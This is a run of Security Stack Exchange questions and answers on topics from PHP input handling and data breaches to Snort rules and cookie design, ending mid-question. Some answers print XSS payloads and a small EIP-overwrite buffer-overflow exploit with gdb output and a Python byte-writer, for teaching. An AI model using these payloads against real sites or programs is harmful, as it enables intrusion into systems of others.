Are there risks in user-uploaded .txt files sent as a string to PHP I'm not sure if this question is within the scope of security.stackexchange or it would be more suitable on stackoverflow. Let me know if needed.
I'm wetting my feet in PHP, and I've put together a very simple program that (using JavaScript) receives as user input a .txt file, sanitizes it to remove all punctuation, then sends the string (via ajax post) to a php script that does some very simple calculations (e.g. the length of the string, how many times a certain substring appears, etc), then returns the results to the JS script for display on the web page.
My question is:
Is there anything risky about this process if we assumed a malicious user? Is there anything they could upload and send to the php script that would compromise the server? My instinct is to say no, since the PHP script is extremely simple and only performs string calculations (not to mention that all punctuation is removed from the input file), but since I'm really inexperienced with PHP, I thought to ask and make sure before I share it with anyone.
If any further information is required, let me know.

Anything you do on the client-side can be ignored by an attacker. They don't even need to visit your web page in order to send requests to the PHP script - they can send those requests directly with whatever inputs they like.
If you're just using functions like strlen, intval, etc. for parsing the string and converting it into numbers for calculations, there's nothing there for an attacker to abuse in order to compromise the server. There are risky (and downright dangerous) functions in PHP, like eval, exec, and system, but if you're not using them then they're not a problem.
If the script is as simple as you described, the worst an attacker could really do is send some data that can't be converted to a number, which would cause the page to throw an error. This doesn't do anything to your server or any other user of the site - it's just that request that fails. If your server is configured to display errors, it might tell them the path to the PHP file on your server, which is a minor information disclosure.
I suspect from your comments about punctuation that you're thinking about things like SQL injection. This is only a problem when you're making queries to a database, which you aren't doing here. When you do get around to learning about database queries, ensure that you're using parameterised queries/statements with MySQLi or PDO, instead of string concatenation. There are quite a few questions on here on this topic that you can refer to once you get to that point.


Pwned by a website I never subscribed to - How do they have my e-mail address? I searched my email addresses in https://haveibeenpwned.com/.
One of my e-mail addresses results as having been pwned, and is present in a data breach, in particular the Apollo data breach:

Apollo: In July 2018, the sales engagement startup Apollo left a
database containing billions of data points publicly exposed without a
password. The data was discovered by security researcher Vinny Troia
who subsequently sent a subset of the data containing 126 million
unique email addresses to Have I Been Pwned. The data left exposed by
Apollo was used in their "revenue acceleration platform" and included
personal information such as names and email addresses as well as
professional information including places of employment, the roles
people hold and where they're located. Apollo stressed that the
exposed data did not include sensitive information such as passwords,
social security numbers or financial data. The Apollo website has a
contact form for those looking to get in touch with the organisation.

I have never subscribed to Apollo or given my address to Apollo.
How do they have my e-mail address in the first place?
Web scraping?

Web scraping is indeed a possibility, as mentioned in this Wired article:

As Apollo noted in its letter to customers, it draws a lot of its information from public sources around the web, including names, email addresses, and company contact information. But it also scrapes Twitter and LinkedIn.


How do attackers hit a website with thousands of similar but distinct IP addresses? I have a website that is being hit with invalid URL requests by thousands of distinct IP addresses, never the same one used twice.  Most of them are in a few ranges of IP addresses and often just go up sequentially.

Could this be a zombie botnet of compromised devices, or is it possible the attacker is spoofing these addresses?

The clustering of IP addresses into a handful of ranges seems inconsistent with what I would expect from random devices across the world being compromised and part of a botnet.

User agents are all legitimate and quite varied, but I know that is simple to spoof.

It doesn't feel like a DDOS attack as it is "just" a few thousand per hour.  If they really wanted to DDOS it seems like they would crank the volume up more.  Once I adjusted some exception handling I was able to get my server to resume being responsive to legitimate use.

I suspect it is a malicious (poorly constructed) crawler/spider.

Is IP address spoofing easily done and common now in these scenarios?

It doesn't feel like a DDOS attack as it is "just" a few thousand per hour.

That's not always the case. There are attacks e.g. like the RUDY
attack that don't have to generate a large amount of traffic but yet they are very effective.

Could this be a zombie botnet of compromised devices, or is it possible the attacker is spoofing these addresses?

It could be a botnet, or even a single script that spawns a few threads and routes them through proxies.

Is IP address spoofing easily done and common now in these scenarios?

If the attacker wanted to get some results back from his/her attack then IP spoofing wouldn't be useful since the traffic wouldn't return back to the attacker - so in this case he/she would have to use a botnet or proxies. However if the goal is a Denial of Service then it's possible, since packet-level IP spoofing can be easily implemented.


Passing PHP code directly into JavaScript in HTML5 I want to pass a PHP string directly to a JavaScript variable and keep the load on the server to a minimum. I have the following JavaScript in an PHP file for doing this:

<!DOCTYPE html>

...

...

The variable $string_var coming from PHP is an user input that was not sanitized in any way (that is, I didn't even execute htmlspecialchars() on it).

Is my example safe? Or do I need to use all these flags for json_encode, i.e. JSON_HEX_QUOT | JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS? I know this example doesn't follow best practices, but is there any concrete risk or vulnerability in it?

References:

Why use the JSON_HEX_TAG?

Why does

JSON_HEX_TAG

If you are echoing into JS inside a HTML document (as you are in your example), this is necesarry or you risk opening up a huge XSS vulnerability. Without this one, an attacker can post something along the lines of this:

</script>alert("XSS");</script>

Since PHP 5.4 this has been fixed, and slashes are escaped by default, but still, you never know what PHP version your code will run on. Better safe than sorry.

As OP points out, even in never versions of PHP you can insert a


How to protect data in case of an unauthorized physical access to a server I have some VMs on a hypervisor. They run linux with full disk encryption.

In case of an unauthorized physical access to a running server, I know that the attacker can extract passcode out of RAM via JTAG to a motherboard or other forensic stuff, and decrypt the disk.

Is there any way, to mitigate the data leak possibility in case of unauthorized physical access to a running server?

Once someone has unrestricted physical access to your server, they can mount any number of attacks against it to retrieve data. The only solution is to restrict physical access in the first place. Depending on your budget and threat model, this can be done by keeping the server in a locked or even guarded server room where only authorized personnel are allowed to enter, by keycard. The server chassis can be physically locked into the rack, which itself can be bolted down. All of these deterrence measures are designed to reduce the risk of someone getting physical access in the first place.


Deny domain admins from steal User files on PCs Possible Duplicate:
  Dealing with untrusted administrators in a Windows domain

I'm trying to block Domain Admins from accessing classified files on PCs that joined the domain. But it looks like impossible tasks, since they could easily bypass any restrictions or auditing set by other admins.

First thought was to grant only needed privileges to all adminis, but that wasn't a trivial task, I'd take it as the last resort.

So, any suggestions?

A domain admin has full rights over the network. They can change anything as they see fit.

I draw your attention to the following law:

  Immutable Law of Security #6: A computer is only as secure as the administrator is trustworthy.

If you don't trust your domain administrator, don't make them a domain administrator, or hire a new domain administrator that you trust.

If you really need to keep certain operational documents secret from the domain admin, don't put them on the network. Keep them in an encrypted container (e.g. TrueCrypt volume) outside of the network.


How to make sense of, and act on, Snort Rules? I am a relatively new Snort user with years of sys admin experience. I feel that I must be missing something, because I find Snort rules to be completely undocumented and incomprehensible. Because of this, there's no course of action that I can take based on the rule alert to address the problem.

Example: My Snort alerts include the following today:
"SID 2016847: ET INFO Possible Chrome Plugin install"

Okay, Snort finds it very important to tell me that there's a Chrome Plugin install. Does that mean an existing plugin install? Or a newly downloaded install? Who knows.

I find the following Wiki on the Emerging Threats website, which is supposed to "document" what the Snort rules mean. Here's the entry for SID 2016847:

http://doc.emergingthreats.net/bin/view/Main/2016847

Amazingly, no documentation. Not a stitch. There's a URL embedded in the rule:
http://blogs.technet.com/b/mmpc/archive/2013/05/10/browser-extension-hijacks-facebook-profiles.aspx

Okay, great. Finally someone is describing what the threat is, two levels of indirection later. While the author describes some of the symptoms of the plugin trojan, there's not a word of how to address the problem. Am I supposed to update my browser? Which ones? Which versions? What's the name of the evil extension to purge? Will purging be sufficient? Do I need to restart my computer? Should I burn my hard drive in a flaming pentagram?

I was really hoping that Snort would be helpful, and not just spit out tons of alerts that are not actionable. I'm hoping some seasoned security expert here can enlighten me on the correct way to respond to these alerts. If your answer is, "suppress every alert that you don't understand", then you are not answering the question. There should be a way for any reasonably adept computer administrator to read these alerts, figure out what they need to check or do, and address the root problem.

If you want something that provides advice targeted to your specific needs and environment, then a free Snort or Suricata install without a support contract from an established vendor or good consultant is probably not the best solution for your desires, though it may fit your budget.

In general, start off with the default SNORT rulesets you use - the community rules and/or Emerging Threats Open or Pro, and/or one of the SNORT rulesets.

See what alerts it pings, to where, and from where.

You may need to enable SNORT on a LAN interface to get a better view of where they're coming from.  Alternately, assign a 1:1 NAT to one or more suspect internal IP's so the external IP address is meaningful in some way.
Read the rules! Follow the links!  Use your search engines!
Learn!

Just last night I enabled some Confiker-C rules that immediately alerts on an app I expected was good, and which turned up clean on multiple antivirus scans.

Experiment!

In your example, try a Chrome plugin update, see if it alerts.  Then try a new install, see if it alerts.

Enable or Disable!  The most efficient course of removing a rule is disabling it.
Suppress!

Suppressing rules to specific IP's allows "whitelisting" rule+IP combinations, which is quite useful.
Every time you suppress, open up the suppress file and add a comment about why you suppressed the rule in that case.  This will be useful later when you're evaluating your suppress list, and to anyone else that inherits what you've done.

SNORT rules aren't supposed to inform you of what you should do about them; for instance, my favorite recurring alert is "ET POLICY Outdated Windows Flash Version IE"
 - Obviously, you should uninstall Flash entirely!
 - Wait, no, you should update Flash!
 - Hey, this is for a particular mission critical business app that doesn't work on new Flash, and you should suppress the alert ONLY for this particular IP address.

There's no way someone else can know your business.

There's no way the rule writers can predict future false positives, even if they had the time, budget, and inclination to look hard for false positives across all possible legitimate traffic in the first place.

To sum up, you have three major choices:
Hire an expert to do this for you, learn about each alert type using the data provides and some research, or disable blindly.

If it helps, the learning curve does even out, until the next issue shows up (SNORT blocking a particular Blu-Ray player from accessing Netflix because it's vulnerable to POODLE and the maker didn't patch it then or ever, for instance), and then the research should be easier.


Server encryption to prevent access by hoster A friend told me one of their company servers got recently hacked. The server was super secured software side.

It turned out the attacker called the hoster and used some social engineering skills to reset the root password (with a live cd or custom image??) (or whatever happend, it is not exactly clear.). The company got a few days later a bill of the phone call for the technical support.

The server contained a database with usernames and balance. So, one with access to the server could theoretically increase or add balance to his account and cash it out.

As far as I know the server was rebooted several times.

Question: Is there a way to harden or fully prevent such a scenario? I have sensitive data as well on my server and I plan to use VeraCrypt to store my database. The mounted device would shutdown when the server is rebooted.

TL;DR: Not practical

You can use encryption. If root password is reset, the data would still not be possible to decrypt. So assuming your hosting company had to restart the server to reset the password, this would work. However, if you use encryption, you would have to enter the password somehow after each reboot. So not practical. And if you save the password, your hosting company would be able to easily see it.


Hundreds of old MS Office files increased by about 10kb We have most of our documents backed up and syncing in MS Sharepoint. That has worked very well for us.  However, I just noticed an old folder I created on the C: drive at the time of setting all this up -- a duplicate of the all the files in Sharepoint.

In this folder, named "Secret Backup" are hundreds of doc, docx, and xls files, mostly donor thank you letters from  10 years ago. All of the MS Office files have the same dates as those that are backing up in sharepoint, but the file size is 5-10kb smaller. PDFs and JPGs are identical in both locations (no file size difference).

No human is bothering to open up those old files. I'm not uber-savvy about viruses, but is it possible that some other computer that syncs the Sharepoint folder has a virus on it, and some code has been added to all the syncing files?

Avast doesn't identify any problems with either the short or the longer files, and Sharepoint version history shows only one version of the files.

This is likely SharePoint metadata, and this is very easy for you to test.

I created a Powerpoint file with content and saved on my local drive and checked the size. Then I uploaded to OneDrive and then again to SharePoint.

The OneDrive file is the same size. The SharePoint file is 5kb larger.


Is it possible for a virus to be redistributed through RAM? I have a new, formatted, and up-to-date laptop. It's clean of any infections and I'm sure of it.

The only change I've made is that I added a new 4G DDR3 RAM stick from my old laptop, and my new one has become infected with many viruses.

I know that a RAM stick is volatile (loses all its data when power is lost), thus I was confused by the infection.

PS: I also know my old laptop is infected and has multiple viruses.

Any suggestions?

As far as I'm aware, presently (Who knows, maybe in the future?), it is not possible that you have received the infection from swapping the RAM. Primarily because RAM is volatile and so will lose any data stored on it after the power is removed (though the data is retained for a very short period of time).

A few more likely scenarios:

Did you plug in a USB device to your old computer, then your new computer to copy data? Malware may have spread that way.
Downloaded and run an infected executable (Downloaded software or drivers to your new laptop?)
Browsed to an infected site.
It's also possible, depending on your network, that your old laptop has a worm which has spread to your new computer over the local network.

An infection from adding RAM would be one of the last things I would be suspicious of. Even if the malicious code was still retained in the memory, the OS won't start executing random bits of code from memory


Control EIP with ASCII values I'm trying to overwrite the EIP to cause a buffer overflow. I can write values to the EIP but I'm only able to write ASCII values and I need to redirect the execution to a high stack address e.g. 0xbfff4a60

I can overwrite by using AAAA which will convert to 0x41414141. I have sixteen bytes available to write to. Is there any way of doing this with ASCII, or unique assembly tricks entered using ASCII?

Entering extended ascii values doesn't work such as ÿ

Example if we examine the location of a function which prints the secret we want to leak:

(gdb) p &print_secret
$2 = (void (*)()) 0x55555555473a <print_secret>
(gdb) Quit

In the above scenario we are lucky that the hexadecimal location (55555555473a) can be written as UUUUG: and backwards because it is little-endian computer:

$ ./main $(python -c "print 'AAAAAAAAAAAAAAAA:GUUUU'") B
the secret is: blahonga
Segmentation fault (core dumped)
$

But if the location is for example bfff4a60 then that would not translate within ASCII and you get "garbage" trying to translate it. Instead you convert it to bytes

>>> bytes.fromhex("bfff4a60")
b'\xbf\xffJ`'

And use a script to output it to the program you are going to attack (see https://stackoverflow.com/questions/6624453/whats-the-correct-way-to-convert-bytes-to-a-hex-string-in-python-3):

import sys
import struct

def writeStr(v):
    sys.stdout.flush()
    sys.stdout.buffer.write(v.encode("ascii"))
    sys.stdout.flush()

def writeBytes(v):
    sys.stdout.flush()
    sys.stdout.buffer.write(v)
    sys.stdout.flush()

# Write 16 bytes
writeStr("AAAAAAAAAAAAAAAA")
# Overwrite the instruction pointer
writeBytes(b"\xffJ\xbf")
writeStr("\n")


What are the security risks if my server with github ssh access key is hacked? I connect to my github repo using ssh keys which I have whitelisted in GitHub. I do pull/push to this repo from my linux server which is hosted in AWS.

If a hacker gains access to this AWS server, what all damage can he do to my code in github? Can he/she remove my repos permanently from GitHub?

I'm fairly certain that the SSH keys do not grant the user any GitHub-specific privileges; actions can only be taken in the scope of what git allows on the server, which shouldn't include account-related actions.

However, it may be possible for them to overwrite your commit history and force-push. I'm not sure if this would be permanent damage.

Personally I'd be more worried about unauthorized commits, e.g. backdoors added and such.


What is Reflected XSS? Fed up with the following definition.

Reflected attacks are those where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web site. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a "trusted" server

Can somebody explain me with an example. And what is the main difference between Reflected XSS and Stored XSS?

So let's say you navigate to www.example.com/page?main.html and it puts you on the main page of example.com. Now you navigate to the index, which is located at www.example.com/page?index.html. You start to wonder, what other pages are there?

So you type in www.example.com/page?foo and hit enter, and you get an error page which will say something like "Resource foo is not found".

The thing to note here is that you put a parameter into the URL, and that parameter got reflected back to you as the user. In this case, it was the parameter "foo".

Now the idea behind reflected XSS should be a bit more clear; instead of inputting a lame parameter like "foo", you input something like <script>alert(1)</script>foo and hit enter. On a vulnerable site, that entire parameter will get injected into the error page that pops up, the javascript will execute, and you'll get a popup in addition to the "Resource foo is not found" message. If you can induce somebody else navigate to the same link that you crafted, you can execute arbitrary javascript in their session.


Is appending a double quote at the end of an input query a valid XSS prevention method? I was wondering if appending a double quote at the end of a query is considered a valid XSS filter. Let's say we have a search function and I entered:

"><script>alert('hi')</script>

If I look at the source of the resulting query I will see the following:

<input name="search" type="text" value=""><script>alert('hi')</script>">

The double quote will be appended automatically at the end of my query.

Assuming that the filter also scrubs out the null char, and HTML comments <!--, would this be an effective XSS filter or is this just wishful thinking?

I can think of no condition in which this would mitigate XSS.
If an attacker supplies <script>alert(1)</script>  the result will be:
<script>alert(1)</script>" which will still execute.

Further more,  an attacker can just comment out the double quote in javascript:
alert(1)//"

You don't need an html comment to build valid html:

<input name="search" type="text" value=""><script>alert('hi')</script><input name="inject">

You should read the XSS prevention cheat sheet,  XSS is extremely common and you shouldn't come up with home-brew solutions to well known problems.


Should I customize my Root CA's thumbprint/fingerprint? (SHA1 or MD5) My goal is to make a certificate's thumbprint "easier" to verify, and not reduce security in doing so.

Given that the RSA-based Bitcoin technology has a concept called a "Vanity address" where the random keys are regenerated over and over again until the hash has user-defined leading bits (the content and length of bits are arbitrary), and it doesn't reduce security, I think it's possible to apply this concept to a CA and its Thumbprint/Fingerprint and make manual validation easier.

Of course the computational power needed to customise the leading bits of this hash gets longer (exponentially longer??) for each bit we want to customize, does this activity reduce security in any way?

Question

Would this increase security for non-trusted root certificates that need manual verification?  What about other certificate types?
Since SHA1 is secure against second preimage attacks, is there any risk in having a CA continually regenerate keys so that the above thumbprint would read 01:23:45:67:89:01:23:45:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx  (variable number of bits set, fewer unique bits to verify)
If this is a good idea, how many bits should be set for a root CA with a long expiration, versus a intermediate, vs a user or web server CA with a consecutively shorter expiration?  (in year 2013)
What server software would support this customization, or scripting of this regeneration until the criteria is set?
What value is appropriate to make validation easier?  Setting to all zeros may make it harder to verify, and since people think in Base10 sequential numbering for humans may be easy 01:02:03:04:05:06:07:08:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx

This is comparable to ssh's VisualHostKey option for displaying graphical representations of certificate fingerprints.

  Would this increase security for non-trusted root certificates that need manual verification?

There is a risk of creating a false sense of security. If your browser / ssh client / etc pops up saying "Danger danger, untrusted certificate!" but then your only confirmation is to check the first few bytes, rather than the whole fingerprint, you are making your attacker's job a lot easier. All they have to do is generate a self signed cert that starts with those bits.

On the other hand, if the attacker doesn't notice your scheme then you can easily see that it is not your cert.

For a client that displays the fingerprint this is very similar to the situation with VisualHostKeys, but it's easier for an attacker to generate a compliant fake cert.

So: against an attacker who notices this it is going to hurt you more than them; against an attacker who doesn't notice, it's helpful for you.

  What about [certificates that chain back to a trusted root]?

If your client connects with no further user intervention when the cert is validated (e.g. a web browser), I'd say it's not useful. The only way you could tell if you were being MITM'ed would be if you went to look at the certificate info after you'd connected. At this point the attacker already has your secure session cookie, but the odds are you won't carry out this check.

Furthermore, an attacker who has gone to the lengths to get a validly signed cert for your address is highly likely to have looked at the original cert in detail, noticed the scheme and copied it.


Hashcat, finding out the Hash I've been searching but I can't seem to find the much information on how to extract hash's from say PDF files or Lotus Notes files that I can then use in Hashcat? I know how to get them for Office documents using office2john.py but I'm stuck on the best methods for other files. Any help would be appreciated.

The answer to this question should be specific for:

The hash type you are wanting to extract (PDF, Office, NT User, WPA... etc).
The program that will process this hash (Cain&Abel, OCLHashCat, John the Ripper... etc).

So a specific question should be made for, at least, each hash.
This is an example for PDF Hashes to bruteforce with OCLHashCat.


Will 3rd party antivirus/antimalware programs compromise OSX's built-in security? There is a very interesting post written by @TechZen. Here's the excerpt from the original post (bold emphasis mine)
Should I get an antivirus for my Mac?

  There's never been a an actual Mac OS X or iOS virus in the wild that
  infected any end user's computer. Viruses are malware that can auto
  replicate without human interaction. All the malware listed in the 10
  years of Malware for OSX article are actually trojans. Trojans require
  that a human being intentionally install the malware and give it
  permissions to run.

  The Mac already comes with Apple's File Quarantine system, which has a
  trojan blacklist built-in that Apple maintains and updates. Since most
  trojans now are encrypted, I doubt a 3rd party app will do a better
  job than the OS.

  To use a 3rd party anti-malware program, you have to give that program
  itself the run of your system and that causes it's own problems and
  opens its own potential security holes. The tradeoff just isn't worth
  it in the vast majority of cases.

So the question is, "Will 3rd party antivirus/antimalware programs compromise OSX's built-in security? "

If yes, in what way could it compromise the Mac?

Thanks!

Security software is not necessarily more secure than ordinary software. Less so when this software is wide spread, has extended functionality and runs with maximum privileges. Antivirus (AV) fits that profile and even more, it plays on the fears of people, that's why fake AV software is thriving.

There have been many examples of security software vendors and specificaly AV products having exploitable vulnerabilities, like Sophos, Kaspersky, McAfee and Symantec.

A 2014 survey of AVs found that the software we use for protection might be used against us:

  During his SysScan talk, Koret disclosed vulnerabilities and some
  other security issues, like the lack of ASLR protection for some
  components, in antivirus products from Panda Security, Bitdefender,
  Kaspersky Lab, ESET, Sophos, Comodo, AVG, IKARUS Security Software,
  Doctor Web, MicroWorld Technologies, BKAV, Fortinet and ClamAV.
  However, he also claimed to have found vulnerabilities in the Avira,
  Avast, F-Prot and F-Secure antivirus products.
  Source

"The Mac" is no special case, it has malware and even malware outbreaks of sizeable proportions (600,000). A Mac AV has to have complete control in order to inspect user-mode software. No built-in protection would help you from shooting yourself in the root.

iOS is better than Mac OS because of tight controls around the ecosystem. You don't have root level access, it's as simple as that. Apple controls what software is allowed to run on your phone and tablet. The few iOS AVs have little functionality because even they are restricted.

Given this, using AV is still a tradeoff. And it also depends on what you are protecting and who is using the machine. I would not install a free Chinese AV on my company's CEO's Mac, but I would install a known brand AV on my grandmother's Mac.


Is Stylish safe to use again? Stylish is/was a very popular extension for the Chrome and Firefox web browsers, which let users add custom styles to certain websites. I was using it myself, until a helpful fellow told me it was apparently spyware; new owners decided to engage in data-slurping activities, which caused Google and Mozilla to pull the plugin from their stores.

However, since it's back in store, does that mean they've removed the malicious part of the code and it's safe to use again? I'm not really opposed against general data statistics gathering, I just don't like being uniquely identifiable.

I have read their privacy policy which states

  We do not want to know your identity or any other personal information and we do not automatically collect data to try and figure out who you are

but stating is one thing, actually doing it is another.

https://robertheaton.com/2018/07/02/stylish-browser-extension-steals-your-internet-history/ is the original technical write-up that covered the Stylish ordeal. There was a more recent one posted in August by the same author that covers the updated version of Stylish: https://robertheaton.com/2018/08/16/stylish-is-back-and-you-still-shouldnt-use-it/.

The latest write-up notes that Stylish added an opt-in screen when you install the extension.

Personally, I think this snippet describes the author's stance on the update best:

  Will SimilarWeb (the adtech company that owns Stylish) try to sneak in more underhanded tracking in the future? I don’t see why not. Can we trust them? In my opinion, no. [...]

It is also worth mentioning that the author recommends using an open-source variant called "Stylus".


Benefits of signing a random number? Is there any benefit to signing a random number?

E.g. a link for password reset, sent to email, often includes a base64 encoded random number to prevent someone guessing what the password reset link would be. If that number is cryptographically signed or hashed, does it improve the security in any way?

Say, 256-bits of randomness and 256-bits of signature, is that any more secure than just using 512-bits of randomness?

Say, 256-bits of randomness and 256-bits of signature, is that any more secure than just using 512-bits of randomness?

It is not any more secure. The best case scenario for the signed token is that the attacker don't know anything about what would be a proper signature. That effectively makes it a 512 bit ranom number from the perspective of the attacker. Besides, a properly generated 256 bit random number is practically unguessable anyway.

You will need signatures if you want to avoid database lookups. But then you wouldn't be signing a random number, but a description of the task the token grants the user the right to perform - e.g. password reset for user 123, before the deadline X. I'm not sure I would dare to use such a scheme for something as critical as password reset, though.


A method for securely sharing centrally-stored documents among a changing set of users? I believe it's possible to meet these requirements only if a third party is involved in a manual process. For example:

Each user is given the same public key
The private key resides offline at a third party
Alice creates a document. When she wants to share it, she sends it to the third party who signs the document and uploads the document to the central server.
If Bob wants to view it, he verifies the document's signature with the shared public key

I'd like to eliminate the third party from the process. However, I haven't come up with a way to do so. Everyone in the account would need the same public/private key installed. Documents signed by Alice and the private key could be verified by all other users since they also have the same key pair.

The problem: new users can be added at anytime so the public/private keys would need to stored at a central location so these new users can obtain the keys. If that location was compromised, a hacker could upload new documents and sign them with the compromised private key.

In a nutshell, storing the private key on a central server seems similar to storing plain text passwords.

So, is there way to securely share centrally-stored documents among a changing set of users?

As @AviD points out, "secure" is a wide term, and there are several properties which can thus be called. Here, I will concentrate on confidentiality.

So you want some people to share some documents, which must remain unreadable for people out of that group, and such that you could afterwards add or remove some people to the group. One point to note is that, conceptually, you cannot force people to become amnesiac; hence, if a member of the group could read a document at some point, then he perfectly could have kept a copy somewhere. Therefore, revoking access of a user is about not making new documents readable by that user; for old documents, this is "too late". Given that point, a possible solution looks like this:

Every document is encrypted symmetrically with a random key K (a new key for each document).
Each user has his own public and private key pair, suitable for asymmetric encryption (e.g. a RSA or El-Gamal key pair).
Every document has a header which contains the encryption of K with the public key of each user who is deemed authorized to read the document.
To revoke a user, simply stops encrypting the K of new documents with the public key of that user.
To add a user retroactively, compute the encryption of K with the public key of that user, for each old document to which access must be granted; this can be done, of course, only by another user who can access the said documents (i.e. obtain K).

The system above is precisely what OpenPGP describes (see GnuPG for an opensource implementation). This was meant for secure emailing, but it works regardless of the actual transport medium, which could be a shared storage area.

There are drawbacks in the scheme described above:

Whoever produces the document must know the list of who should be able to access the document. This is not an absolute requirement; we could imagine a setup where the document is propagated from user to user, each user adding the encrypted K for the next user.
Each document has a header which grows linearly in the number of users in the system; for reasonably secure RSA encryption (2048-bit RSA keys), that's 256 extra bytes per user. Depending on the context, the overhead can range from the utterly negligible to the ludicrously unbearable.
The list of users who can access the document can be deduced by anybody, by looking at the header of the encrypted document.
Users have public keys, which implies the usual problem of distributing public keys in a secure way -- i.e. while avoiding usurpers. If there are many users, the solution involves a Public Key Infrastructure (PKI); OpenPGP uses the kind of decentralized PKI known as "Web Of Trust". X.509 is another PKI standard, with a pyramidal, centralized structure. Both are good at managing easy cases, and bad at scaling up.

Another, very different scheme for secure document sharing, is what is done with Blu-ray discs, with the AACS copy-protection. The security model is that there is a kind of central authority, but offline; each user (a Blu-ray player) has its own symmetric key, that the central authority also knows. When the authority publishes a new document (say, a new movie), the document is symmetrically encrypted with its own symmetric key K, and that key K is made available to all players through broadcast encryption. The authority want to distribute K to N users, where N is big, while using relatively little bandwidth (N can be in the order of hundreds of millions, but there is not that much free space on a disc), being able to add new users retroactively without requiring any document-specific transmission (you cannot patch discs once they have been built and distributed), and still having the possibility to revoke specific users. The mathematical beauty of the broadcast encryption used in AACS is that it requires size only O(log N) on each disc, plus O(R) where R is the number of revoked users. New users can be added at will. The idea is that a "user" will be revoked only if it appears that a player key has been disclosed and began to be widely copied in rogue players; hopefully (that is, the Blu-ray consortium hopes it), the individual player-breaking cost will remain sufficiently high that no more than a few dozens of such keys will have to be revoked.

Broadcast encryption uses a structure of double-nested trees which would be a bit too long to describe here. See this article for details.

There apparently is some existing research on the topic of broadcast asymmetric encryption, which avoids the need for a central authority which knows all the keys. I do not know whether good, secure schemes to that effect are currently known.


Is a vpn connection through a proxy more secure? At the moment there are a number of online services (Hide my ass or PIA) that offer some type of security through an VPN connection. This of course can work, but the big problem (for me at least) would be that no matter what if they want to look at the data they can.

There are a couple of threads on the internet with people trying to make a VPN connection through a proxy server. I tried to find some more information on the internet on how exactly an proxy server works (like what it does to the packets exactly, not what it does in genaral, which is clear to me), but if I understand it correctly it looks at the packet headers and replaces the ip address for its own and forwards them (of course, there is more, but just the basics).

If you would make a VPN connection through an proxy server would be the ultimate option. The VPN endpoint is seeing the data, BUT it can only see where it comes from, the proxy server. The proxy server on the other hand can see the real ip address, but can't see the actual data.

What I would like to know is if the above concept is really true or am I missing something (or completely forgetting  something)? Could this work? Any deep inside on what an proxy server exactly does with the packages is really helpful.

P.S. I am NOT asking for any companies which could offer this type of server, I only want to know the concepts and try to catch the whole thing.

UPDATE:

With "secure" I mean anonymity. So currently when connecting to an VPN services they can see your IP address and can see your data. I want to tackle that and make them see some sort of "placeholder" or proxy, which was something I thought that could work

Proxy vs. VPN

  If you would make a VPN connection through an proxy server would be the ultimate option.

Not necessarily.

  The VPN endpoint is seeing the data, BUT it can only see where it comes from, the proxy server. The proxy server on the other hand can see the real ip address, but can't see the actual data.

Did you know that VPN servers are essentially proxy servers, but with encryption? :-) Proxy servers in general don't encrypt their traffic to/fro, so this is not a good idea at all. It shows you connecting to the proxy, the data you're sending to the proxy in real time, the data that's being sent to the VPN. That means you're completely unsecured.

Tracking you is still possible either way

And even if your proxy encrypted the information to/fro, there are a lot of ways to track you, even if you're hidden behind a dozen VPNs and proxies! :-o

There's too much information leakage on the main operating system, and this goes for Windows, Linux, etc. You really need to do something such as:

VPN such as Private Internet Access which is set to kill your main  connection on failed connection.
Virtual Machine which has it's own VPN/proxy, and which isn't Windows.
Completely change your browsing habits.

And you have to be really careful. It simply isn't worth the effort unless you're a criminal scum, or a paranoid schizophrenic who thinks they are onto you for some unknown reason that makes zero sense. And even then, you can't really 100% hide anyway.


A Secure Cookie Protocol As title says I'm trying to implement a secure cookie protocol

HMAC(username|expiration name|data|session key, sk)

It seams that session key is not constant during whole application session lifetime. Now I'm not sure what to replace it with, someone suggested to me to use browser agent but it doesn't seem unique or too hard to produce, anyone has any suggestion?

I also wonder where should I store server key. (Hard code it into source code, or there is a batter solution?)

This session implementation does nothing to address OWASP a9.  In short its vulnerable to a replay attack.  So if a hacker is sniffing the network or has an XSS vulnerability in your site then they can just copy this value and use it.

You should use as little cryptography as possible.  Cryptography is hard,  it adds complexity and when it fails it can be disastrous.

A cookie should be a large cryptographic nonce,  and reference server side state.  You should transmit this cryptographic nonce as a cookie with all of the security flags enabled (httponly, Secure, and scope).

On a side note,  Amazon AWS's RESTful authentication is not bad.


List of unpatchable exploits in MS Exchange 2003 Possible Duplicate:
  Where can I find a list of un-patched CVEs for a specific piece of software?

MS Exchange 2003 is no longer supported by Microsoft since April 2009.

However the Exchange 2003 server that I currently have is working just fine for me.
Is there a list of exploits in Exchange 2003 that are not patchable, so that I can make an informed decision on whether I need to upgrade urgently or not?

Links to unofficial patches to fix holes after the last security pack are also much appreciated.

One of the problems with unsupported software is that you simply don't know. Not only there is nobody to fix security bugs, but there's usually nobody to even collect and disseminate vulnerability reports. The problem becomes much worse with closed-source software.

I think it would be difficult to find issues, let alone create and distribute unofficial fixes. But even if someone were to spend time finding bugs in this old product, and they are kind enough to publish an unofficial fix. How would you be able to trust that this fix is genuine and doesn't introduce a trojan into your system? With nobody accountable or at a position of authority, it's hard to know who to trust.

That said, there's still a large number of people still using Internet Explorer 6, despite warnings that it is insecure, unsupported, and generally a really bad browser :)


I need to generate a CSR on my HSM with a critical key usage of Non Repudation? As above, we were planning to do the following:

Access our HSM (Luna SA)
Generate CSR
Send CSR to 3rd Party CA
Add critical key usage of Non Repudiation on 3rd Parties portal
Send the now signed CSR (public key to our trading partner) which has the key usage

Does it matter if I have not added the key usage attribute during the CSR generation on the HSM as I cannot find a way to add the key usage with the HSM client software?

Regards

Each tool should be used for what it does the best. The HSM is great to protect a private key by allowing to use it without leaking it out the the hardware module.

But IMHO, the CSR generation and validation should be done before submitting a validated CSR to the HSM for signature only.


Tomcat Client authentication I want to make sure that my webapp is secured:

I have a tomcat server - and defined the connector to use  clientAuth="true".
In my trust store there is only the certificate of my CA (self signed).

On the client - installed a certificate issued by the CA.

As I was warned in a previous question I made , I want to make sure that:

The tomcat server - gets the client's certificate - makes sure it is signed by the CA, and then - authenticates the client by using the public key in the client's certificate - to make sure that the client can really decrypt the data.

and not:

